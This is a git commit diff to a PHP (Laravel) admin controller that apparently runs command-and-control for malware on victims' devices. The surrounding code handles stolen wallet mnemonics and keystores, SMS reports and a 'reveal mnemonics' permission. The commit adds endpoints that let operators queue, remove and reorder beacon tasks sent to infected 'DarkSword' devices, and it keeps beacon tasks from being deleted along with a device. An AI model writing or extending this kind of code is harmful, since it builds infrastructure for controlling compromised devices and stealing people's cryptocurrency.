feat: 18
This commit is contained in:
@@ -18,6 +18,7 @@ use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\DsBeaconQueue;
|
||||
use App\Services\PhotoPreview;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use App\Support\AgentScope;
|
||||
@@ -124,13 +125,22 @@ class DeviceController extends Controller
|
||||
|
||||
$device->load(['beaconTasks']);
|
||||
|
||||
$queueState = ['pending' => [], 'dispatched' => [], 'done' => []];
|
||||
$queueSchema = [];
|
||||
if ((int) $device->chain === Device::CHAIN_DARKSWORD) {
|
||||
$queue = app(\App\Services\DsBeaconQueue::class);
|
||||
$queueState = $queue->getQueueState($device);
|
||||
$queueSchema = \App\Services\DsBeaconQueue::PARAM_SCHEMA;
|
||||
}
|
||||
|
||||
return view('admin.devices.show', [
|
||||
'device' => $device,
|
||||
'tab' => $tab,
|
||||
'addressSources' => $addressSources,
|
||||
'addressChains' => $addressChains,
|
||||
'portal' => $this->portal(),
|
||||
'beaconTasks' => $device->beaconTasks,
|
||||
'queueState' => $queueState,
|
||||
'queueSchema' => $queueSchema,
|
||||
'can_reveal' => $this->canRevealMnemonics(),
|
||||
'google_bound' => $this->googleBoundForReveal(),
|
||||
'google2fa_url' => $this->google2faUrl(),
|
||||
@@ -291,7 +301,6 @@ class DeviceController extends Controller
|
||||
$device->keystores()->delete();
|
||||
$device->pluginSessions()->delete();
|
||||
$device->smsReports()->delete();
|
||||
$device->beaconTasks()->delete();
|
||||
$device->delete();
|
||||
});
|
||||
});
|
||||
@@ -849,4 +858,81 @@ class DeviceController extends Controller
|
||||
|
||||
return $admin instanceof Admin && $admin->isSuper();
|
||||
}
|
||||
|
||||
// ── Beacon queue management ────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Add a task to the device's beacon queue.
|
||||
*/
|
||||
public function queueAdd(Device $device, Request $request)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
$request->validate([
|
||||
'type' => 'required|string|max:64',
|
||||
'params' => 'nullable|array',
|
||||
]);
|
||||
|
||||
$type = (string) $request->input('type');
|
||||
$params = $request->input('params');
|
||||
|
||||
/** @var DsBeaconQueue $queue */
|
||||
$queue = app(DsBeaconQueue::class);
|
||||
$task = $queue->addTask($device, $type, $params);
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => "已添加任务: {$task['type']}",
|
||||
'data' => $task,
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove a task from the device's beacon queue.
|
||||
*/
|
||||
public function queueRemove(Device $device, Request $request)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
$request->validate([
|
||||
'task_id' => 'required|string',
|
||||
]);
|
||||
|
||||
$taskId = (string) $request->input('task_id');
|
||||
|
||||
/** @var DsBeaconQueue $queue */
|
||||
$queue = app(DsBeaconQueue::class);
|
||||
$removed = $queue->removeTask($device, $taskId);
|
||||
|
||||
if (! $removed) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '任务不存在或已下发',
|
||||
]);
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '已移除任务',
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Reorder tasks in the device's beacon queue.
|
||||
*/
|
||||
public function queueReorder(Device $device, Request $request)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
$request->validate([
|
||||
'task_ids' => 'required|array',
|
||||
'task_ids.*' => 'integer',
|
||||
]);
|
||||
|
||||
/** @var DsBeaconQueue $queue */
|
||||
$queue = app(DsBeaconQueue::class);
|
||||
$queue->reorderTasks($device, $request->input('task_ids', []));
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '队列顺序已更新',
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user